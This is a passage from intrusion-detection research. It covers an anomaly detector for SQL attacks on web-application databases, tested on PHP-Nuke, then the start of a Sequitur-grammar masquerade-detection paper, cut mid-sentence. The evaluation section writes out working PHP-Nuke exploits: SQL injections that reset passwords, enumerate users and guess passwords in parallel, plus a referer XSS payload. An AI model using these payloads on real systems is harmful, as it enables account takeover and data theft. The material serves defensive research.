The feature selector transforms the queries into a form suitable for processing
by the models. In addition it selects which profile each query applies to.

First, a feature vector is created by extracting all tokens marked as constant
and inserting them into a list in the order in which they appear in the query.
Then a skeleton query is generated by replacing all occurrences of constants
in the query with an empty place holder token. The skeleton query captures
the structure of the SQL query. Since user input should only appear in con-
stants, different user inputs should result in the same skeleton. An SQL injec-
tion would change the structure of the query and produce a different skeleton
query.

The next step depends on the status of the intrusion detection system, that
is, if the system is in training, threshold learning, or detection mode. In training
mode, the name of the script generating the query and the skeleton query are
used as keys to look up a profile. A profile is a collection of statistical models
and a mapping that dictates which features are associated with which models.
If a profile is found for the current script name/skeleton combination, then each
element of the feature vector is fed to its corresponding models in order to update
the models’ “sense” of normality.

If no profile is found, a new profile is created and inserted into the profile
database. A profile is created by instantiating a set of models for each element
of the feature vector. The type of models instantiated is dependent on the data
type of the element. For instance, an element of type varchar is associated with
models suitable for modeling strings, while an element of type int would be
connected to models capable of modeling numerical elements. For user-defined
types, the user can specify which models should be instantiated. The specific
models used in our system are described in more detail in Section 5.

If the system is in threshold learning mode, the corresponding profile is looked
up the same way as in the training mode, but the feature vector is not used to
update the models. Instead, the models are used to generate an anomaly score
that measures how well the feature vector fits the models. An aggregate score
is calculated as the sum of the negative logarithm of each individual model
score as in [10]. For each profile the highest aggregate anomaly score seen dur-
ing the threshold learning phase is recorded. If no profile is found for an event,
a warning is printed that indicates that the previous training phase was not
complete.

In detection mode, an anomaly score is calculated in a way similar to the pre-
vious mode, but differently, if the anomaly score exceeds the max value recorded
in the threshold recognition phase by a certain percentage, an alarm is gener-
ated. Alarms are also generated if no profile is found for an event, or if an event
contains SQL statements that cause a parse error.
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4.4 Implementation

Our implementation uses a modified version of the libmysqlclient library, which
logs all performed SQL queries. Libmysqlclient is part of the MySQL database
system and most applications that supports the MySQL database utilize this
library to communicate with the database server. The provider logs all queries
to a file which is read by the sensor.

The sensor is implemented in C++. The incoming queries are parsed by a
Yacc-based parser. After parsing and type inference, the events are fed to the
detection engine. The detection engine is implemented as an extension of our
anomaly-detection framework, called libAnomaly [1]. LibAnomaly provides a
number of useful abstract entities for the creation of anomaly-based intrusion
detection systems and makes frequently-used detection techniques readily avail-
able. libAnomaly has previously been used to implement anomaly detectors that
processes system call traces and web logs [10, 12].

5 Anomaly Detection Models

Different statistical models are used depending on what data type is modeled. In
our implementation, two basic data types are supported. Strings and integers.
The string data type is modeled by six different models, namely five string-
based models plus a data type independent model. Integers are only modeled by
the data type independent model. These models are described in the following
section. See [10] for a more in-depth description of the different models.

5.1 String Models

String Length. The goal of the string length model is to approximate the actual
but unknown distribution of the lengths of string values and to detect instances
that significantly deviate from the observed normal behavior. For example, sys-
tem call string arguments often represent canonical file names that point to an
entry in the file system. These arguments are commonly used when files are
accessed (open, stat) or executed (execve), and their lengths rarely exceed a
hundred characters. However, when a malicious input is passed to programs, it
often occurs that this input also appears in an argument of a system call with a
length of several hundred bytes. The detection of significant deviations is based
on the Chebyshev inequality [4].

String Character Distribution. The string character distribution model captures
the concept of a normal string argument by looking at its character distribution.
The approach is based on the observation that strings have a regular structure,
are often human-readable, and almost always contain only printable characters.
In case of attacks that send executable data, a completely different character
distribution can be observed. This is also true for attacks that send many repe-
titions of a single character (e.g., the nop-sledge of a buffer overflow attack). The
detection of deviating arguments is performed by a statistical test (Pearson χ2-
test) that determines the probability that the character distribution of a string
parameter fits the normal distribution established during the training phase.
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String Prefix and Suffix Matcher. The length and character distribution are two
features that provide a ball-park measure of the regularity of a string. Sometimes,
however, it is desirable to capture the structure of a string in a more precise
fashion. The idea of the prefix and suffix matcher model is to capture substrings
that are shared by the value of specific elements in an event. In particular, these
models can be applied to elements that represent file names. For example, the
prefixes of file name arguments might indicate that all files are located in the
same directory or under a common directory root (e.g., a user’s home directory
or the document root directory of the web server). The suffixes of file names are
often indicators of the file types that are accessed. A web server, for example,
can be expected to mostly access files with a htm[l] ending when these files are
located under the document root. To build a model of normal string prefixes
and suffixes, the first and last n characters of each string are extracted during
the training phase. Whenever a certain (large) fraction of all analyzed strings
has a certain prefix or suffix in common, the corresponding string is included
into the set of known prefixes/suffixes. During the detection phase, when the set
of known prefixes/suffixes is not empty, it is checked whether the characterized
element value contains a known prefix or suffix. If this is the case, the input is
tagged as normal, otherwise, it is considered anomalous.

String Structure Inference. For the purposes of this model, the structure of
an argument is the regular grammar that describes all of its normal, legitimate
values. Thus, the task of the structural inference model is to extract a gram-
mar that generates all legitimate elements. When structural inference is applied
to a string element, the resulting grammar must be able to produce at least
all elements encountered during the training phase. Unfortunately, there is no
unique grammar that can be derived from a finite set of string elements. When
no negative examples are given (i.e., elements that should not be derivable from
the grammar), it is always possible to create either a grammar that contains ex-
actly the training data or a grammar that allows production of arbitrary strings.
The first case is a form of over-simplification, as the resulting grammar is only
able to derive the learned input without providing any level of abstraction. This
means that no new information is deduced. The second case is a form of over-
generalization, because the grammar is capable of producing all possible strings,
but there is no structural information left.

One possible approach for our proposed structural inference is to start with
an automaton that exactly reflects the input data. Then, the grammar is gen-
eralized as long as it seems “reasonable”, and the process is stopped before
too much structural information is lost. We aim to implement the general-
ization process of this model based on the work presented in [18] and [19].
In these papers, the process of “reasonable generalization” is based on Bayes’
theorem:

p(Model|TrainingData) =
p(TrainingData|Model) ∗ p(Model)

p(TrainingData)
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We are interested in maximizing the a posteriori probability (left-hand side),
thus, we have to maximize the product on the right-hand side of the equation.
The first term, which is the probability of the training data given the model,
can be calculated for a certain automaton directly from the training data. The
second term, which is the prior probability of the model, is not so straightfor-
ward. It has to reflect the fact that, in general, smaller models are preferred.
This probability is calculated heuristically, taking into account the number of
states and transitions of the automaton. The denominator (i.e., probability of
the training data) is considered a constant scaling factor that can be ignored.

During the detection phase, it is checked whether an input string argument
can be generated by the automaton. If this is possible, the string is considered
normal, otherwise it is flagged as anomalous. A more complete description of the
implementation of this model can be found in [12].

5.2 Data Type-Independent Model

Token Finder. The purpose of the token finder model is to determine whether
the values of a certain element are drawn from a limited set of possible alter-
natives (i.e., they are tokens of an enumeration). Web-application often receive
parameters that represent a selection among few possibilities presented to the
user in an HTML form or that represent flag-like values, e.g., a certain type of
credit card. When an attacker tries to exploit uncommon values of the parame-
ter, previously unseen values may appear. This model is particularly effective in
detecting these types of attacks. The decision between an enumeration and ran-
dom values is made utilizing a simple statistical test, such as the non-parametric
Kolmogorov-Smirnov variant as suggested in [13].

6 Discussion and Evaluation

We evaluated our system using an installation of the PHP-Nuke web portal
system [5]. PHP-Nuke has a long history of security problems [17] and contains
several SQL-based vulnerabilities.

Our test server was a 2 GHz Pentium 4 with 1 GB of RAM running Linux
2.6.1. The server was configured with an Apache web server (v2.0.52), the MySQL
database (v4.1.8), and PHP-Nuke (v7.5).

Attack-free audit data was generated by manually operating the web site
using a web browser and, at the same time, running scripts simulating user
activity. PHP-Nuke is a fairly large system, so generating audit data by scripts
alone would require a major development effort when creating the scripts. The
test scripts we used only utilized the central functionality of PHP-Nuke. We
relied on manual browsing to operate the less-used functionality. Three attack-
free datasets were produced this way. The first was used for training the models,
the second was used for the threshold learning phase, while the third was used
for false positive rate estimation.

In order to evaluate the detection capabilities of our system, four differ-
ent SQL-based attacks against PHP-Nuke were developed. The attacks were
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run against the test server while background traffic was generated by the user-
simulation scripts. For each attack a dataset containing one attack instance was
recorded. Our trained IDS was run against each of the attack datasets and the
output was analyzed to check if the IDS was able to detect all the attacks.

6.1 Attacks

The three first attacks in our tests are performed by posting form-encoded data
to a specific URL. For each of these attacks, we show what page contains the
vulnerability and what data needs to be posted in order to exploit the system.
We also show the SQL query that is produced as a consequence of the attack.
Each of the attacks were discovered during our experimentation with PHP-Nuke
and, to the best of the authors’ knowledge, all attacks presented are novel.
Attack1: Resetting Any Users Password.

Vulnerable page phpnuke/modules.php
Post data name=’; UPDATE nuke users

SET user password=’<new md5pass>’
WHERE username=’<user>’; −−

Result SELECT active, view FROM nuke modules
WHERE title=’Statistics’;
UPDATE nuke users SET user password=’<new md5pass>’
WHERE username=’<user>’; −−’

This attack updates the password of an existing user. A variable used for
passing the value name to the page modules.php is not escaped before inserting
it into a query. This allows an attacker to set any users password to a value of
her choosing by injecting an SQL UPDATE statement for the table nuke users.
The attack is detected by our system because the SQL statement violates the
structural model. See Table 1 for details.
Attack2: Enumerating All Users.

Vulnerable page phpnuke/modules.php
Post data 1 name=Your Account

Table 1. Summary of system training and detection experiments

Dataset # Queries # Alerts Correct Detect. False Positives

Training 44035 N/A N/A N/A

Threshold Learning 13831 N/A N/A N/A

Attack1 25 1 1 0(0%)

Attack2 65 1 1 0(0%)

Attack3 173 6 6 0(0%)

Attack4 79 1 1 0(0%)

Attack Free 15704 58 0 58(.37%)

Attack Free W/ Custom Datatype 15704 2 0 2(.013%)
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Post data 2 op=userinfo
Post data 3 username=’ OR username LIKE ’A%’; −−
Result SELECT uname FROM nuke session

WHERE uname=’’ OR username LIKE ’A%’; −− ’

This attack allows one to retrieve a list of all users of the system. The
username value is not properly checked by the script that shows account in-
formation about the current user. By injecting a specially crafted string the
attacker can select a user by an SQL wildcard expression. When executing the
attack, the resulting page shows the first user in alphabetical order that matches
the LIKE expression. To enumerate all the users, several executions of the attack
are required. The following pseudocode would generate a user list:
getusers(prefix) {

for letter in a...z:
user = get first user that starts with

prefix + letter
if user is found:

print user
getusers(prefix+letter)

}

main() {
getusers("")

}

This attack is also detected by our system because of a violation of the
structural model, as shown in Table 1.
Attack3: Parallel Password Guessing.

Vulnerable page phpnuke/modules.php
Post data 1 name=Your Account
Post data 2 username=’ OR user password = ’<md5 password>’ ;
Post data 3 user password=<password>
Result1 SELECT user password, user id, .... FROM nuke users

WHERE username=’’ OR user password = ’<md5 password>’ ;’
Result2 SELECT time FROM nuke session

WHERE uname=’\’ OR user password = \’<md5 password> \’ ;’

This attacks allows one to speed up password guessing by trying a password
against the whole user database in parallel. The attacker chooses a password to
try and inserts both the password and an md5 checksum of it into the query. If
any user on the system has that password, the login will succeed. Our system
detects six anomalous SQL queries as a result of this attack. The first query
is detected because the query structure is violated as a result of the injection.
The structure of the second query shown is valid because it is not the result
of an SQL injection. In spite of this, our system correctly marks this query as
anomalous because the structure of the username is not similar to any username
seen in the training data. The fact that different attacks are detected by different
models demonstrates that a multi-model approach is able to detect more attacks
by providing a more complete description of the web-application being modeled.
The remaining 4 anomalous queries were similar to the second query.
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Attack4: Cross Site Scripting. The fourth attack is different in that it does
not require posting of any data. Instead the attack is executed by retrieving
any PHP-Nuke page and passing the JavaScript in the HTML referrer field.
All referrer values received by PHP-Nuke is displayed unescaped on a statistics
page. The script is executed when a user clicks on one of the links on PHP-Nuke’s
referrer statistics page.

In our test we passed the value " onclick="alert(document.domain);"
as the referrer. This caused the following query to be executed: INSERT INTO
nuke referer VALUES (NULL, ’" onclick="alert(document.domain);"’) .
This attack was detected by our system because the referer value had a different
structure than the values seen during the training.

6.2 False Positive Rate

Traditionally, anomaly detection systems have been prone to generating high
rates of false positives. We evaluated the false positive rate in our system by
training the system as in the attack tests, and using an additional attack-free
dataset as a detection set. This second attack-free set was generated in a way
similar to the training sets, but the manual browsing of the web site was per-
formed by a different person than the one generating the training data. This was
done to ensure that the datasets were not artificially similar due to regularities
in the browsing habits of a single person.

The results of the test are shown in Table 1, which shows the false positive
rate to be fairly high. Inspection of the alarms generated by the IDS showed
that this was due to fact that the training data was generated in a different
month than the test data, and the IDS had only seen one value for the month
field during the training period. When confronted with a new month value the
IDS reported this as an anomaly. We also identified a year field in the database
that had a potential for generating false positives in a way similar to the month
field. We changed the configuration of our system by introducing two custom
data types: month and year. The models associated with these data types would
consider any value within the normally acceptable range (i.e., months 1-12 would
be accepted but not 13). Upon reevaluating the false positive rate, we observed
a dramatic reduction in the number of false alarms, as can be seen in Table 1.
The remaining two false positives were a result of queries not seen during the
training period.

We believe that many installations of our system would require the introduc-
tion of custom data types similar to those mentioned above in order to produce
an acceptably low false positive rate. However, the introduction of a new data
type is fairly easy and most database fields do not require any special treatment.
Because of this we believe the system would be very easy to configure for a new
application, even by persons with no special training in security.

6.3 Performance Overhead

A performance test of our system was performed to quantify the overhead intro-
duced by our system. Our metrics provide only a rough estimation of what the
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Table 2. Performance Metrics

Process Total CPU (s) Per Query CPU (ms)

SqlAnomaly 41.3 .39

Apache/PHP 106.2 1.00

MySQL 22.0 .20

overhead is. The performance overhead of a real deployment would be dependent
on numerous factors such as the rate at which different pages are accessed, the
number of queries executed for each page served, and the topology of the servers
in the installation.

Our performance metrics measure the average number of CPU seconds spent
by our tool per query processed. The number of CPU seconds spent by MySQL
and Apache/PHP is given for comparison. Our experiment was conducted by
running the IDS sensor in real time on the test server while executing the same
user simulation scripts used to generate the training data. The number of CPU
seconds spent by each component was recorded and an average per-query value
was computed. Our test generated 105,612 queries. See Table 2 for the results.
The performance of our system is quite good considering that no code optimiza-
tion effort has been performed.

7 Conclusions and Future Work

This paper presents a novel anomaly-based intrusion detection approach for the
detection of attacks against back-end databases used by web-based applications.
The approach relies on a composition of multiple models to characterize the
normal behavior of web-based applications when accessing the database.

We developed a system based on this approach and evaluated its effectiveness
by measuring its ability to detect novel attacks, its false positive rate, and the
overhead introduced by the system. The results show that our system is indeed
able to detect novel attacks with few false positives and little overhead. In ad-
dition, the learning-based approach utilized by the system makes it well-suited
for deployment by administrators without extensive security expertise.

Our future research will focus on developing better models and on using
additional event streams (such as the system calls executed by server-side ex-
ecutables) to more completely characterize the behavior of web-based systems.
Furthermore, auditing of more complex database features such as stored proce-
dures could be accommodated through the inclusion of the database activity log
as a second event stream.

We plan to develop techniques to determine the coverage space of training
data with respect to an existing system. These techniques will focus on static
analysis of web-application code and on identifying high-level relationships be-
tween each component of a web-based system. This meta-information will then
be leveraged to determine if the current training data provides sufficient cover-
age of the functionality of the systems and, as a result, reduce the possibility
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of generating false positives. For example, it will be possible to determine if all
the parameters of a server-side application have been exercised by the training
data or if all the pages that contain embedded code have been requested. The
resulting models would have the advantage of added coverage during the training
phase while still capturing installation-specific behaviors that are not statically
inferable.
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Abstract. We show that masquerade detection, based on sequences of
commands executed by the users, can be effectively and efficiently done
by the construction of a customized grammar representing the normal
behavior of a user. More specifically, we use the Sequitur algorithm to
generate a context-free grammar which efficiently extracts repetitive se-
quences of commands executed by one user – which is mainly used to
generate a profile of the user. This technique identifies also the com-
mon scripts implicitly or explicitly shared between users – a useful set
of data for reducing false positives. During the detection phase, a block
of commands is classified as either normal or a masquerade based on
its decomposition in substrings using the grammar of the alleged user.
Based on experimental results using the Schonlau datasets, this approach
shows a good detection rate across all false positive rates – they are the
highest among all published results inpknown to the author.

1 Introduction

Masquerade detection is probably the last protection against such malicious
activity as stealing a password. Anomaly detection, based on the user’s behavior,
is one of the primary approach to uncover a masquerader. It can be done using
data from various sources, ranging from sequences of commands (a.k.a programs)
executed by the user to sequences of system calls generated from the user’s
activities. In this study, we use sequences of programs executed by the user in
a Unix environment. These programs are either explicitly called by the user or
implicitly called via other programs (e.g. scripts). Our experimental results are
based on the Schonlau datasets [6] which, as we will see in Sect. 3, have both
classes of programs.

In masquerade detection, the normal behavior of a user should be represented
by a user profile. It is typically built during the training phase, done offline – a
training dataset, free of masquerade attacks, should be available to do it. The
masquerade detection phase, where attempts are made to classify the behavior
of the alleged user, is done online and once the training is completed. We can
partition the user profiles in two classes: local profiles where the normal behavior
of a user is solely based on the user’s data; and global profiles where the normal
behavior of a user is also based on additional data – typically from other users.
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For instance, the commands typed by a user would form a local profile whereas
the commands not typed by a user, based on the commands typed by all other
users, would form a global profile. The local profiles are usually simpler to im-
plement than the global ones. On the other hand, the local profiles may have
less capability at masquerade detection. In our work we use global profiles.

We can further partition the classes of masquerade detection approaches in
two subclasses: approaches that either update or do not update, during the
masquerade detection phase, the user profile. This update could be partial, for
example by being only local: only the behavior of the user has any impact on its
profile. In our work we use partial updating of the global profiles. This simplifies
the implementation and deployment of our approach.

In this work, we demonstrate that the Schonlau datasets have many repetitive
sequences of commands among users and in each training dataset. We believe
that this is typical of Unix systems where common scripts are shared among
the users. For each user training data, we use a linear time algorithm, called
Sequitur, to extract the structure of these repetitive sequences in the form of
a context-free grammar. We also compute local and global statistics for these
sequences. From the grammars, we also extract the repetitive sequences having
a minimum frequency and length. These sequences are considered to be scripts
that are shared among users – we call them global scripts.

Section 3 motivates our approach by an analysis of the Schonlau datasets.
Section 4 presents the main technique used by our approach and its experimental
results are in Sect. 5. Section 6 presents some inferior variations of the main
method. The analyzes of some incorrect classifications are done in Sect. 7. In
Sect. 8 we discuss the computational cost of our approach. We summarize other
published methods in Sect. 9. To make our paper self contained, we review the
Sequitur algorithm in the next section.

2 The Sequitur Algorithm

The Sequitur algorithm was created by Nevill-Manning and Witten [4] to extract
hierarchical structures from a string by constructing a context-free grammar gen-
erating only that string – essentially, the productions of the resulting grammar
do not share any digram. The construction of the grammar is efficient as it can
be done in linear time on the length of the string. We will briefly describe this
algorithm and state one important property relevant for our detection algorithm.

2.1 A Review of the Sequitur Algorithm

Recall that a context-free grammar is a quadruple (S,N,Σ, P ) where Σ is the
set of terminals, N the set of nonterminals (N and Σ do not intersect), S
the start symbol (S �∈ N ∪ Σ), and P the set of production rules of the form
nk → x1x2 . . . xn where xi ∈ N ∪ Σ, nk ∈ N ∪ {S}. The nonterminal nk (or S)
is the left-hand side (lhs) of the production rule and x1x2 . . . xn is its right-hand
side (rhs). We will call the production rule with lhs S, the main production; all



Masquerade Detection via Customized Grammars 143

other productions are auxiliary productions. Notice that in this study, the Unix
commands form the set Σ.

Let C = (ci) be the string of elements ci ∈ Σ from which a Sequitur grammar
will be created. The grammar is initialized with the main production S → c1c2,
where c1 and c2 are, in that order, the first two elements (e.g. commands) of
C; they are removed from C. In general, Sequitur proceeds sequentially on C by
adding to the end of the rhs of the main production the next command of C
not yet added. New productions will be created and deleted by maintaining the
following two constraints on the current grammar.

Unique Digram. No digram, i.e. pair of adjacent terminals or nonterminals,
occurs more than once (without overlap) across all rhss of the grammar.

Useful Production. Any nonterminal occurs more than once across all the
rhss of the grammar.

The constraint Unique Digram has a tendency to create new production
rules whereas the constraint Useful Production removes some. In most cases, a
repeated digram occurs when adding an element of C to the end of the rhs of the
main production. A new production rule nk → x1x2 is created if a digram x1x2,
where xi ∈ Σ ∪ N , repeats in the rhss of the grammar and the digram is not
the rhs of any existing production. The lhs nk replaces the repeated digram. If
the digram already exists as the rhs of a production, the lhs of that production
simply replaces the repeated digram. A production with lhs nk is removed if nk

does not occur more than once in all rhss of the grammar; if it occurs once, the
rhs of that production replaces nk – in other words, nk is inlined. This is another
case where a repeated digram can be created.

Table 1 presents two examples of grammars generated by the Sequitur algo-
rithm. Lower case letters are terminals and upper case letters are nonterminals –
i.e. we do not use Unix commands in these examples. There are no relations be-
tween the nonterminals of G1 and G2. Terminals are added to the main produc-
tion (i.e. S → . . .) until a repeated digram occurs. We step through every time a
digram is replaced by a nonterminal (i.e. when a digram repeats) or a production
rule is inlined/deleted. For example, for G1, when the digram da occurs twice
in the main production, the new production A → da is created. For G2, when
the rule B → Aa is created, the rule A → bc becomes useless – therefore it is
deleted and inlined in B → Aa. As a matter of fact, for grammar G1, only the
constraint Unique Digram had to be enforced, but both constraints had to be
enforced for G2.

2.2 Relevant Properties

The following proposition should now be obvious:

Proposition 1 (Repetition). The expansion of any auxiliary production rule,
from the generated Sequitur grammar of string C, is a substring that occurs more
than once in C.



144 M. Latendresse

Table 1. Two examples of the Sequitur algorithm applied to the strings
dadabfbfeaeabgbg (left) and bcabcaca (right)

Generation of Grammar G1 Generation of Grammar G2

from input string from input string
dadabfbfeaeabgbg bcabcaca

S → dada S → bcabc

S → AA S → AaA
A → da A → bc

S → AAbfbf S → AaAa

S → AABB S → BB
B → bf B → Aa

S → AABBeaea B → bca (A inlined)

S → AABBCC S → BBca
C → ea

S → AABBCCbgbg S → BBC
B → bC
C → ca

S → AABBCCDD
D → bg

Final grammar G1 Final grammar G2

S → AABBCCDD S → BBC
A → da B → bC
B → bf C → ca

C → ea (deleted: A → bc)
D → bg

Notice that since the grammar generates exactly the string C, the expansion
of the main production cannot repeat in C. In other words, the last proposition
does not apply to the main production – this is the main reason to treat it
differently than the auxiliary production rules.

This simple proposition is the basic element of our approach: the grammar
can be used to represent some repeated sequences of the input data C – the
training data in the context of masquerade detection. Indeed, not all repeated
sequences are extracted from C. That is, the converse of this last proposition is
not true: There are repeated non-overlapping substrings of C that may not be the
expansion of any production of the Sequitur grammar. This is obvious once we
consider that any proper substring of the expansion of an auxiliary production
repeats in C, yet it is not the expansion of that production. It is not even
the case that a repeated substrings in C will necessarily be the substring of the
expansion of an auxiliary production. For instance, for G1 in Fig. 1, the substring
ab repeats in the input string, yet it is not the substring of the expansion of any
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Fig. 1. ROC curve for our main method, for k = 7. The x-axis is logarithmic. Also
included are some best-outcome results (triangles) of other good performing methods

auxiliary production. Despite this fact, a large number of repeated sequences are
substrings of the expansions of auxiliary production rules.

The Sequitur algorithm not only generates a grammar that mostly represents
the repetitive sequences, it does so recursively. That is, repetitive sequences that
occur inside or across longer ones have their own production rules. For example,
this is apparent in grammar G2 of Fig. 1 where the digram ca is repeated across
two productions, the main one and in production B. This sort of repetitive
structures does occur in the context of executed commands since scripts may be
embedded inside other scripts.

3 Motivation of Our Approach

Schonlau et al. [6] have made available some datasets for the study of masquerade
detection algorithms. They are available at www.schonlau.net.

These datasets are based on the commands executed by 70 users of a multi-
user Unix systems. The acct auditing facility was used to collect the commands.
Actually, acct records the programs executed and not the commands directly
typed by the users – more on this below – but to remain consistent with the
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Table 2. A sequence of 35 commands occurring 20 times in the training data of user 16

getpgrp LOCK true ls sed FIFO cat date generic generic date generic geth-
ost download tcpostio tcpostio tcpostio tcpostio cat generic ls generic date
generic rm ls sed FIFO rm UNLOCK rmdir generic tcppost sh LOCK

documentation of the Schonlau datasets, we still use the term commands to
refer to the executed programs. Among the 70 users, 20 were used as potential
masqueraders and 50 as potential victims of masquerades. The data from the
20 masqueraders are not explicitly available. For each of the 50 users, 5000
commands can be assumed to be from the legitimate user. They are used as
training data. For each user, 10000 more commands are provided, divided in 100
blocks of 100 commands: each block either comes from the legitimate user or
from one of the 20 masqueraders – this is the testing data. This is done with
a known uniform random distribution, but we should not use that knowledge
during training or detection of masquerades. Among the 50 users, 29 have at
least one masquerade block.

There are many long common substrings (i.e. sequences of commands), among
users, in the training sets as well as in the testing sets. In all likelihood, many
were generated by executing scripts – i.e. commands that usually execute several
programs without the user intervention. In fact, the technique used to collect the
sequences of commands (i.e. the acct auditing facility) does record the programs
executed – not the commands typed directly by the users.

For example, user 16 has a sequence of 35 commands – see Tab. 2 – which
occurs more than 20 times in its training data. Such a sequence of commands
can hardly be taken as directly typed by the user, but is more likely emitted by
a script.

In general, the Schonlau training datasets contain hundreds of long sequences
(i.e. more than 10 commands) repeated more than ten times. The generations
of the 50 Sequitur grammars, presented in the next section, clearly demonstrate
the existence of these sequences. We believe that this is not a peculiarity of the
Schonlau datasets but rather an aspect of the way programs are composed on
Unix systems.

In summary, the large number of repetitive sequences indicates an important
aspect:

Many repetitive sequences of commands are probably not directly typed
by the users but produced by scripts which are explicitly called by the
users. We conclude that the profile of a user should be based on those
repetitive sequences.

The main problem is to discover those repetitive sequences. This motivates
our approach presented in the next section.
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4 Our Approach

In this section we present the techniques used in our approach to represent the
normal behavior of a user – i.e. its profile – and detect masqueraders.

4.1 Constructing the User Profile

For each user, a Sequitur grammar is generated based on the uncontaminated
sequence of commands C (e.g. the sequence of 5000 commands for the Schonlau
datasets). As it was shown in Sect. 2, the production rules represent repetitive se-
quences of commands. For each production rule, we compute the total frequency
of its expansion in C. This can be efficiently done since the frequency of each lhs
(nonterminal) is maintained during the generation of the grammar1: The total
frequency is computed recursively by taking into account the productions where
the lhs occurs.

For each production, besides the total frequency, we compute the frequency
of its expansion across all other user training data – this is the across
frequency.

We also compute the global set of scripts used by all users. It is the expansion
of all production rules that occur at least five times among all users. This is used
by our detection algorithm to reduce the negative impact of unseen commands
that, we believe, are actually part of an unseen script (see the next section for
its usage).

The production rules themselves are not very important, it is rather their
expansion, and their associated frequencies, that are used during the detection
of masquerades. For example, it would be acceptable, and more efficient, for our
detection algorithm to represent the set of expansions in a trie; although the
Sequitur algorithm is an efficient means to discover some repetitive sequences.
We did not implement the trie mechanism since we are not emphasizing the
efficiency of the implementation.

Table 3 presents an excerpt of the Sequitur grammar of user 1. The entire
grammar is much larger and cannot be easily presented. For each production,
two frequencies are displayed: the frequency of the expansion of that produc-
tion in the training data for user 1, and its frequency in the training data
for the 49 other users. For example, the expansion of J (i.e. expr expr) oc-
curs 50 times in the training data of user 1, and 1762 times in the train-
ing data of all other users. Table 4 presents some statistical facts for the 50
grammars constructed by the Sequitur algorithm based on the 50 users training
data.

Another part of the training phase is the determination of a constant for the
evaluation function of a block during the detection phase. This part is described
in Sect. 4.3.

1 The frequency of a lhs is maintained to apply the Useful Production constraint – if
the frequency of the lhs falls below two, the production must be inlined and removed
from the grammar (see Sect. 2).
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Table 3. Excerpt of production rules for the grammar of user 1

Production Rules Frequencies
User Others

A → B C 4 0
B → cat mail csh 42 231
C → D E 12 0
D → F java 22 0
E → csh make 14 0
F → G java 33 0
G → java wr H base I I egrep 42 0
H → J dirname 45 1545
I → egrep egrep 84 1126
J → expr expr 50 1762

Table 4. Statistics for the 50 Sequitur grammars

Average number of rules 260.9
Average length of the expansions 11.4
Average frequency of the expansions 15.7
Maximum frequency over the 50 users 1664
Maximum length over all expansions 486

4.2 Detection of Masquerades

The Schonlau datasets have, for each of the 50 users, a sequence of 10000 com-
mands which might be contaminated in block of 100 commands by some other
users. Therefore, in the following explanation the detection algorithm is de-
scribed on a block of commands.

Let G be the grammar of the alleged user for the block to be classified.
The classification of a block is based on its evaluation and a global threshold.
If the value, obtained from the evaluation, is larger or equal to the threshold,
the block is considered normal; otherwise it is considered a masquerade. The
threshold value is global since it is used for all users. The evaluation of a block
is done by sequentially breaking it into substrings which are expansions of some
production rules of G. In general, during the overall evaluation of a block, we
have a set of segments of the block not yet matched with any production rule
of G. An expansion of a production rule of G which is a substring of a segment
is a candidate to break that segment. We use the following evaluation function
e, on productions p, for which their expansions are substrings of at least one of
the current segments of the block.

e(p) = lp
fp

fp + Fp

k

(1)
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where lp is the length of the expansion of production p, fp the frequency of
the expansion of the production, Fp its across frequency, and k a constant. The
next subsection motivates the form of that equation and describes our tech-
nique to determine a good value for k – a search that is done offline during
training.

The production p0 that gives the largest value is removed from the segment:
this either eliminates completely the segment, generates two other segments, or
only one.

The previous process is repeated on all current segments of the block until no
more segments contain a substring which is the expansion of some production
rule of G. Let F be the set of productions found by that process, then

∑
p∈F e(p)

is the base value of the block.
The remaining segments may contain previously unseen commands from G.

If a segment contains a global script as a substring, the unseen commands of
that global script are counted as one unseen command. That is, a value of one
is subtracted from the base value for each global script found, and their unseen
commands are not considered individually.

For the remaining unseen commands, their frequency, with a maximum of 4,
is subtracted from the base value of the block. Based on experimental results,
it does not change substantially the evaluation if the frequencies are not taken
into account, that is, if a value of −1 is given to each unseen commands.

Notice that the value of e(p), according to (1), cannot have a value larger
than lp – e.g. for a block of 100 commands, its value cannot exceed 100.

4.3 Determining a Value for k

In (1), the value k serves as an averaging factor for the across frequency Fp.
In fact, if we were assuming k = 49, the expression Fp

k would be the average
frequency of the expansion of production p among the 49 other users. Actually,
the main intention of that expression is to compare the frequency fp to the across
frequency Fp taking into account the number of other users. But it is not clear
that the value 49 is the right one – its value should be determined during the
training phase for all users.

Essentially, the technique we have used to determine k is the following – it
was done for each integer value from k = 1 to k = 49, picking the best result. For
each user, ten blocks of 100 commands are randomly selected from each other
users training data. In the case of the Schonlau datasets, 490 blocks are selected
for each user. The evaluation of each block is done according to the method of
the last section. The lowest total, across all users, is considered the best. For the
Schonlau datasets the best value for k is 7. In the section on variations of our
method (see Sect. 6), we also show the detection results – a ROC curve – when
using the extreme value 49. The results are in agreement with this procedure:
the overall performance of the detection is better with k = 7 than with k = 49;
although for very low false positive rates, the value k = 49 is better.
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4.4 Updating the User Profile

During the detection phase, the profile of the user is modified if the block is
classified as normal. The Sequitur algorithm is applied – using the new normal
block as input – to modify the user grammar. This would usually extend the
grammar by adding new production rules. The frequencies of the production
rules are modified accordingly, but the across frequencies are not modified; and
the global scripts set is not extended. In other words, only the local aspect of
the profiles of the users are maintained, not their global aspect; this greatly
simplifies the application of our approach in a distributed environment.

5 Experimental Results

Figure 1 presents the main results of our approach using a Receiver Operating
Characteristic curve (ROC curve). This shows the relation of the false posi-
tive rates versus the detection rates of masquerades. We have also included
some best-outcome results for some other good performing methods (these re-
sults were taken from [5, 6]). Notice that the x-axis is logarithmic since we pre-
fer to have a more precise view of the detection rates for false positive rates
below 10%.

The ECM method of Oka et al. gives some of the best results previously
published. Our approach detects even more masquerades at all false positive
rates. To our knowledge, no published results based on the Schonlau datasets
are better at any false positive rate.

6 Variations of Our Method

In this section we present some further experimental investigations done on our
main method. Three variations were tried: 1) with value k = 49; 2) no global
scripts; and 3) only the frequencies of the commands are used, not the sequences.
The last case also covers another variation to our main method, namely, to eval-
uate positively the already seen commands that are left out after decomposing a
block during detection. Case 3 will show that this would diminish the detection
rate.

6.1 With k = 49

This is a very simple variation to show that the technique used to determine k is
successful on the Schonlau datasets. Figure 2 presents the ROC curves for both
k = 7 and k = 49. We can see that for k = 7 the detection rates are higher for
most of the false positive rates; although it is better for k = 49 when the false
positive rate is below 0.3%. Still, the case k = 49 is a viable alternative superior
to all other published methods.
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Fig. 2. ROC curve for our method for k = 49 (dotted line) compared to the determined
k = 7 (solid line)

6.2 No Global Scripts

This is a simple variation of our main method: no global scripts are used when
evaluating unseen commands. The resulting ROC curve, compared to our main
